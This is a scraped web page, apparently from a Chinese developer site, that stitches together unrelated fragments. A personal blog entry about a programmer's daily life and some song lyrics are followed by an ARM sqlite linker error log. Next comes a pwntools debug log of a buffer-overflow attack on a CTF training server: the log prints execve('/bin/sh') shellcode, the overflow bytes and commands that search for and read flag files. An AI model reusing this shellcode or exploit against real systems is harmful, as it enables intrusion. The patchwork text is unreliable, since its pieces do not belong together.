ls -la /usr/local/tmp

本文回忆了作者作为程序员的生活点滴,包括项目测试、使用MFC进行编程的感受以及对BSD环境的怀念。同时,文中还穿插了一些生活趣事,如与朋友的互动等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

不知道是昨天喝酒喝多的原因,还是我也开始变懒惰了,居然今天直到10点多
才爬了起来,在我的印象中,好像自己很久没有10点后起床的记录了。我的确
是那种喝酒越多写代码越优雅的程序员哦。。。昨天一次性测试通过,把包打
好,嗯。。。上个礼拜的项目小节完成的很和谐,终于可以开始继续我的MFC
生涯了,当然,对于MFC我已经有些厌烦的念头了,现在想的最多的嘛,还是
希望重新回归到我的BSD生涯。很怀念在BSD shell下面渡过的GDB生涯,再搭
配上Makefile,嗯。。。我感觉这才更象一位程序员。

上完WC,洗完澡,继续我的BLOG。
昨天晚上,一群JR们又讨论了很多有趣的问题,当然更有趣的是,我们一起攻
击了一位有家的JR,在昨天晚上那个特殊的节日内,敢公然承认自己有MM的JR,
很明显会得到我们这群光棍JR们的攻击。
昨天晚上,老家邻居家的弟弟与我聊QQ,就在我困的不行,准备去睡觉时,他
发给我一副《棒球英豪》的图片,嗯。。。很怀念跟他一起去租这部漫画的时
光,我们两个家伙傻乎乎的骑自行车来回1个多小时,就为了租这部漫画回来看,
呵呵。。。转眼已经10多年下来了。我很和谐的问他“别老是看漫画,也记得
看看你的小孩子”,邻居弟弟在网络的另一边对我贼笑道“有你弟妹看着呢”

趴在床上写着小说中的文字,不知不觉安神的药物起了作用,没有关机,把
声音开到最大,模糊的听着《小城大事》,不知道什么时候,自己进入了睡眠,
更不知道什么时候,电池消耗完后自动关机。

吻下来
豁出去
这吻别似覆水
再来也许要天上团聚
再回头
你不许
如曾经不登对
你何以双眼好像流泪

 
ls /usr/local/lib/libsqlite3.* /usr/local/lib/libsqlite3.a /usr/local/lib/libsqlite3.so.0 /usr/local/lib/libsqlite3.la /usr/local/lib/libsqlite3.so.0.8.6 /usr/local/lib/libsqlite3.so ls /usr/local/include/sqlite3.h /usr/local/include/sqlite3.h arm-linux-gcc -L./lib-lsqlite3 -o sqlite sqlite.c /tmp/ccKtSnwq.o: In function `main': sqlite.c:(.text+0xf4): undefined reference to `sqlite3_open' sqlite.c:(.text+0x120): undefined reference to `sqlite3_errmsg' sqlite.c:(.text+0x140): undefined reference to `sqlite3_close' sqlite.c:(.text+0x170): undefined reference to `sqlite3_exec' sqlite.c:(.text+0x1b0): undefined reference to `sqlite3_free' sqlite.c:(.text+0x1d8): undefined reference to `sqlite3_exec' sqlite.c:(.text+0x218): undefined reference to `sqlite3_free' sqlite.c:(.text+0x240): undefined reference to `sqlite3_exec' sqlite.c:(.text+0x280): undefined reference to `sqlite3_free' sqlite.c:(.text+0x28c): undefined reference to `sqlite3_close' collect2: ld returned 1 exit status [root@localhost install]# arm-linux-gcc -o sqlite sqlite.c -L./usr/local/lib -lsqlite3 /opt/FriendlyARM/toolschain/4.5.1/lib/gcc/arm-none-linux-gnueabi/4.5.1/../../../../arm-none-linux-gnueabi/bin/ld: cannot find -lsqlite3 collect2: ld returned 1 exit status [root@localhost install]# arm-linux-gcc -o sqlite sqlite.c -L./usr/local/lib -lsqlite3 -static /opt/FriendlyARM/toolschain/4.5.1/lib/gcc/arm-none-linux-gnueabi/4.5.1/../../../../arm-none-linux-gnueabi/bin/ld: cannot find -lsqlite3 collect2: ld returned 1 exit status [root@localhost install]# chmod +x /usr/local/libsqlite3.so chmod: cannot access `/usr/local/libsqlite3.so': No such file or directory [root@localhost install]# chmod +x /usr/local/libsqlite3.so.0.8.6 chmod: cannot access `/usr/local/libsqlite3.so.0.8.6': No such file or directory [root@localhost install]# arm-linux-gcc -o sqlite sqlite.c -L./usr/local/lib -lsqlite3.so -static /opt/FriendlyARM/toolschain/4.5.1/lib/gcc/arm-none-linux-gnueabi/4.5.1/../../../../arm-none-linux-gnueabi/bin/ld: cannot find -lsqlite3.so collect2: ld returned 1 exit status [root@localhost install]# arm-linux-gcc -o sqlite sqlite.c -L./usr/local/lib -lsqlite3.so /opt/FriendlyARM/toolschain/4.5.1/lib/gcc/arm-none-linux-gnueabi/4.5.1/../../../../arm-none-linux-gnueabi/bin/ld: cannot find -lsqlite3.so collect2: ld returned 1 exit status
06-06
执行代码后发现: Checking for new versions of pwntools To disable this functionality, set the contents of /home/test/.cache/.pwntools-cache-3.5/update to 'never' (old way). Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide): [update] interval=never [!] An issue occurred while checking PyPI [*] You have the latest version of Pwntools (4.8.0) [+] Opening connection to train.whitehat.org.cn on port 44187: Done [DEBUG] Sent 0x30 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000020 50 45 40 00 00 00 00 00 53 11 40 00 00 00 00 00 │PE@·│····│S·@·│····│ 00000030 [DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python3.5/dist-packages/pwnlib/data/includes /dev/stdin [DEBUG] Assembling .section .shellcode,"awx" .global _start .global __start .p2align 2 _start: __start: .intel_syntax noprefix /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp /* push argument array ['sh\x00'] */ /* push b'sh\x00' */ push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi /* 0 */ push rsi /* null terminate */ push 8 pop rsi add rsi, rsp push rsi /* 'sh\x00' */ mov rsi, rsp xor edx, edx /* 0 */ /* call execve() */ push 59 /* 0x3b */ pop rax syscall [DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-zgp82y7r/step2 /tmp/pwn-asm-zgp82y7r/step1 [DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-zgp82y7r/step3 /tmp/pwn-asm-zgp82y7r/step4 [DEBUG] Sent 0x40 bytes: 00000000 6a 68 48 b8 2f 62 69 6e 2f 2f 2f 73 50 48 89 e7 │jhH·│/bin│///s│PH··│ 00000010 68 72 69 01 01 81 34 24 01 01 01 01 31 f6 56 6a │hri·│··4$│····│1·Vj│ 00000020 08 5e 48 01 e6 56 48 89 e6 31 d2 6a 3b 58 0f 05 │·^H·│·VH·│·1·j│;X··│ 00000030 00 00 00 00 00 00 00 00 50 45 40 00 00 00 00 00 │····│····│PE@·│····│ 00000040 [DEBUG] Sent 0x34 bytes: b'ls; cat flag* 2>/dev/null || cat /flag* 2>/dev/null\n' [DEBUG] Sent 0x3b bytes: b'echo "=== FAILSAFE ==="; find / -name "*flag*" 2>/dev/null\n' [+] Receiving all data: Done (0B) [*] Closed connection to train.whitehat.org.cn port 44187
08-09
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值